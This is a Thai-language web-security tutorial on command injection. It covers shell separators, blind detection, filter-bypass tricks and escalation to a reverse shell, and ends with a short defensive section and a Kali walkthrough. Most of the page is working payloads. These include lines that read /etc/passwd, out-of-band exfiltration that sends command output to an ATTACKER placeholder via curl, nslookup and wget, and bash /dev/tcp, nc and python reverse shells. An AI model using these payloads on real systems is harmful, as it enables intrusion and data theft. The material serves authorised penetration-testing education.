Command Injection
Command Injection เกิดเมื่อแอปนำ input ผู้ใช้ไปประกอบเป็นคำสั่งระบบ (shell) โดยไม่กรอง ทำให้ผู้โจมตีแทรกคำสั่งของตัวเองและรันบนเซิร์ฟเวอร์ได้ (RCE) — เป็นช่องโหว่ที่ผลกระทบสูงสุดกลุ่มหนึ่ง บทนี้ครอบคลุมตัวคั่นคำสั่งของ shell (Unix/Windows), การตรวจจับทั้ง in-band และ blind, การใช้ time-based/OOB ยืนยันแบบ blind, เทคนิค bypass filter, การต่อยอดสู่ reverse shell และมุมมองฝ่ายป้องกัน
1. หลักการ
เมื่อแอปเรียกคำสั่งระบบโดยเอา input มาต่อสตริง เช่น ping -c 1 <user_input> แล้วส่งให้ shell ตีความ ผู้โจมตีใส่ ตัวคั่นคำสั่งของ shell (; | && ` $()) เพื่อจบคำสั่งเดิมแล้วต่อคำสั่งใหม่ เช่น input 8.8.8.8; id ทำให้ shell รัน ping -c 1 8.8.8.8 แล้วตามด้วย id
จุดสำคัญคือแอปเรียก shell เป็นตัวกลาง (เช่น system(), exec(), os.system(), Runtime.exec() ที่ผ่าน sh -c) — shell คือตัวที่ตีความ metacharacter ถ้าแอปเรียกโปรแกรมตรงด้วย argument array (execve) โดยไม่ผ่าน shell ตัวคั่นเหล่านี้จะกลายเป็น argument ธรรมดา ไม่ทำงาน
| ตัวคั่น | ความหมาย | OS |
|---|---|---|
; cmd | รันต่อเสมอ | Unix |
&& cmd | รันถ้าคำสั่งแรกสำเร็จ | Unix/Win |
|| cmd | รันถ้าคำสั่งแรกล้มเหลว | Unix/Win |
| cmd | pipe output เข้าคำสั่งใหม่ | Unix/Win |
`cmd` / $(cmd) | command substitution | Unix |
& cmd | รัน background / คำสั่งถัดไป | Unix/Win |
%0a (newline) | ขึ้นบรรทัดใหม่ = คำสั่งใหม่ | Unix/Win |
%0d%0a | CRLF (บางกรณี Windows) | Win |
2. การตรวจจับ
- 1หา input ที่น่าจะถูกส่งเข้าคำสั่งระบบ: ping/traceroute/nslookup/whois, ฟังก์ชัน convert/resize รูป, backup/export, ตรวจสถานะเครือข่าย
- 2ลองตัวคั่น + คำสั่งที่เห็นผล เช่น
; idหรือ| whoami— ดู output แปลกปลอมในหน้า - 3ถ้า output ไม่แสดง → blind: ยืนยันด้วยหน่วงเวลา (
; sleep 5) หรือ OOB callback (DNS/HTTP กลับเครื่องเรา) - 4ลองทั้ง context: บาง input อยู่ใน quote ต้องปิด quote ก่อน (
"; id;"หรือ'; id; ')
# ยืนยันด้วยผลคำนวณ (ไม่พึ่ง output คำสั่ง)
127.0.0.1 & echo cmdi$((7*7))cmdi # หา cmdi49cmdi ในหน้า = รันสำเร็จ
# in-band ตรงๆ
8.8.8.8; id
8.8.8.8 | whoami
# blind time-based (response ช้า ~5วิ = สำเร็จ)
8.8.8.8; sleep 5
8.8.8.8 & ping -c 5 127.0.0.1
# ปิด quote/context ก่อน (เดา context)
"; id; "
'; id; '
$(id)3. Payload ตาม OS
| งาน | Unix/Linux | Windows |
|---|---|---|
| ผู้ใช้ปัจจุบัน | id / whoami | whoami |
| ไฟล์รหัสผ่าน/ระบบ | cat /etc/passwd | type C:\\Windows\\win.ini |
| รายการไฟล์ | ls -la | dir |
| ข้อมูลเครือข่าย | ifconfig / ip a | ipconfig /all |
| หน่วงเวลา (blind) | sleep 5 | timeout /t 5 / ping -n 5 127.0.0.1 |
| ดาวน์โหลด | curl / wget | certutil -urlcache -f / powershell iwr |
8.8.8.8; id
8.8.8.8 | whoami
8.8.8.8 && cat /etc/passwd
$(cat /etc/passwd)
`id`
8.8.8.8 & type C:\Windows\System32\drivers\etc\hosts # Windows# time-based: response ช้า 5 วิ = inject สำเร็จ
8.8.8.8; sleep 5
8.8.8.8 & ping -n 5 127.0.0.1 # Windows
# OOB exfil: ส่งผลคำสั่งกลับมาเครื่องเรา (ผ่าน DNS/HTTP)
8.8.8.8; curl http://ATTACKER/$(whoami)
8.8.8.8; nslookup `whoami`.ATTACKER.oob.example
8.8.8.8; wget --post-data="$(cat /etc/passwd|base64)" http://ATTACKER/4. Bypass filter
# space ถูกกรอง → ใช้ ${IFS} หรือ tab / brace expansion
cat${IFS}/etc/passwd
cat${IFS%??}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
# คีย์เวิร์ดถูกกรอง → แทรกอักขระ/quote คั่น
c'a't /et'c'/pa''sswd
w""h""o""a""m""i
who$@ami
c\at /etc/pa\sswd
# ตัวคั่นบางตัวถูกกรอง → ใช้ตัวอื่น
8.8.8.8%0aid # newline แทน ;
8.8.8.8|id
# encode / รันผ่าน base64
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
# = cat /etc/passwd
# blacklist path → wildcard / ตัวแปร
/???/??t /???/p??s??
cat /etc/passw$(echo d)- space:
${IFS}, tab,{cmd,arg}(brace expansion),<redirect - keyword/command name: แทรก quote (
c'a't), backslash (ca\t), หรือประกอบจากตัวแปร (who$@ami) - slash ในพาธ: ใช้
${PATH:0:1}ให้ได้/โดยไม่พิมพ์ตรงๆ - ทั้ง payload ถูกกรอง: base64 decode แล้ว pipe เข้า sh
- บาง character ถูกกรอง: ลอง URL-encode (
%0a,%09) หรือ double-encode
5. เจอ Command Injection — ทำต่อยังไง
6. ต่อยอดเป็น Reverse Shell
เมื่อยืนยัน RCE แล้ว ขั้นต่อไปคือได้ interactive shell กลับมา ตั้ง listener บนเครื่องเรา (nc -lvnp 4444) แล้ว inject payload ที่เปิด connection กลับ (เฉพาะ lab/CTF ที่ได้รับอนุญาต)
# ตั้ง listener บนเครื่องโจมตี
nc -lvnp 4444
# --- ฝั่งเป้าหมาย (inject ตามหลังตัวคั่น) ---
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
# bash ไม่ได้ → ลองตัวอื่น
mkfifo /tmp/f;nc ATTACKER 4444 </tmp/f|/bin/sh >/tmp/f 2>&1;rm /tmp/f
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh","-i"])'
# encode ทั้ง reverse shell เป็น base64 เลี่ยง filter
echo BASE64_PAYLOAD | base64 -d | bash7. ข้อผิดพลาดที่พบบ่อย
- เดา OS ผิด → ยิง
sleep/catใส่ Windows (ใช้timeout/type) - ไม่ปิด quote/context ก่อน — input อยู่ใน string ต้อง break ออกก่อน
- output ถูก strip แต่ยังพยายามอ่านตรงๆ (ควรใช้ time-based/OOB ยืนยัน)
- ลืม URL-encode ตัวคั่น (
&,;,|, newline) ทำให้ถูก parser ตัดก่อนถึง shell - สับสน command injection กับ argument injection (บางที inject ได้แค่ flag ไม่ใช่คำสั่งใหม่)
- reverse shell ตัวเดียวไม่เวิร์กแล้วยอมแพ้ — ลองหลาย payload (bash/nc/python/perl)
8. การป้องกัน (Blue-team)
- อย่าเรียก shell ด้วย input — ใช้ API ที่ parametrize เช่น
execveกับ argument array (subprocess.run([...], shell=False)) แทนos.system(str) - ถ้าเลี่ยงการเรียกโปรแกรมภายนอกไม่ได้ ใช้ไลบรารีในภาษาแทน (เช่น DNS resolver ในภาษา แทนเรียก
nslookup) - Allowlist ค่าที่รับได้ (เช่น IP address validation ด้วย regex เข้ม) ไม่ใช่ blacklist metacharacter
- Least privilege: process ที่รันคำสั่งควรมีสิทธิ์ต่ำสุด + sandbox/seccomp/container
- Detection: log การ spawn process ลูกจาก web process ที่ผิดปกติ (เช่น
www-dataรันsh -cที่มีcurl/nc/base64) - WAF ช่วย detect metacharacter ได้บ้าง แต่ bypass ได้ง่าย — เป็น defense-in-depth ไม่ใช่การแก้หลัก
9. Quick Reference
- ตัวคั่น:
;|&&||`cmd`$()&%0a - in-band:
; id| whoami&& cat /etc/passwd - blind:
; sleep 5(time) หรือcurl/nslookupไปเครื่องเรา (OOB) - ยืนยันแบบ marker:
& echo x$((7*7))x→ หา x49x - bypass space:
${IFS}· bypass keyword:c'a't, แทรก quote/backslash - Windows:
whoami,type,dir,timeout /t 5 - ต่อยอด: reverse shell (bash/nc/python) → stabilize → privesc
- ป้องกัน: ไม่เรียก shell ด้วย input; ใช้ execve array + allowlist + least privilege
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเจอ input ที่ backend น่าจะเอาไปต่อเป็นคำสั่ง OS (เช่น ช่อง ping/host, filename, ฟังก์ชัน export/convert) ทำตามนี้ทีละขั้น
- 1หา input ที่น่าจะโดนเอาไปรันเป็นคำสั่ง (ช่อง ping/host, filename, export/convert function)
- 2ทดสอบ payload ง่ายสุดก่อน: ; id หรือ | id หรือ $(id) ต่อท้ายค่าปกติ ดูว่า output โผล่ user/uid ไหม
- 3ถ้าไม่มี output โผล่ตรงๆ (blind) ลอง ; sleep 5 จับเวลาว่า response ช้ากว่าเดิมไหม
- 4ถ้า sleep ทำงาน = blind command injection ยืนยันแล้ว ลอง OOB ยืนยัน/exfiltrate: ; curl http://
.oast.fun/ ผ่าน interactsh หรือ webhook.site - 5ถ้าตัวคั่นถูกกรอง (; | & ถูก block) ลองสลับ separator: %0a (newline), $(cmd), backtick, หรือใช้ ${IFS} แทน space
- 6เมื่อยืนยันแล้วว่ารันคำสั่งได้ ลองเปิด reverse shell: bash -i >& /dev/tcp/YOURIP/4444 0>&1 (เลือก payload จาก revshells.com ให้ตรง OS/shell)
- 7เปิด listener ฝั่งเรา nc -lvnp 4444 ก่อนยิง payload เสมอ
- 8ถ้ามี WAF กรองคำสั่งดิบ ลองใช้ gtfobins.github.io (Linux) หรือ lolbas-project.github.io (Windows) หาไบนารีที่มีอยู่แล้วช่วยรันคำสั่ง/bypass
- 9ได้ shell แล้ว → เช็ค privilege escalation ต่อ (sudo -l, SUID, capabilities)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ทดสอบ payload มือ | Burp Repeater / curl | already in Kali | - |
| ยืนยัน/exfiltrate แบบ OOB | curl / dig | already in Kali | interactsh (interact.sh) / webhook.site |
| encode/bypass ตัวคั่น | - | - | CyberChef |
| สร้าง reverse shell payload | nc | already in Kali | revshells.com |
| หา binary bypass (Linux) | - | - | gtfobins.github.io |
| หา binary bypass (Windows) | - | - | lolbas-project.github.io |
| เรียนรู้เทคนิคเพิ่ม | - | - | portswigger web security academy |
| scan privesc หลังได้ shell | linpeas.sh | curl ดาวน์โหลดจาก GitHub | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้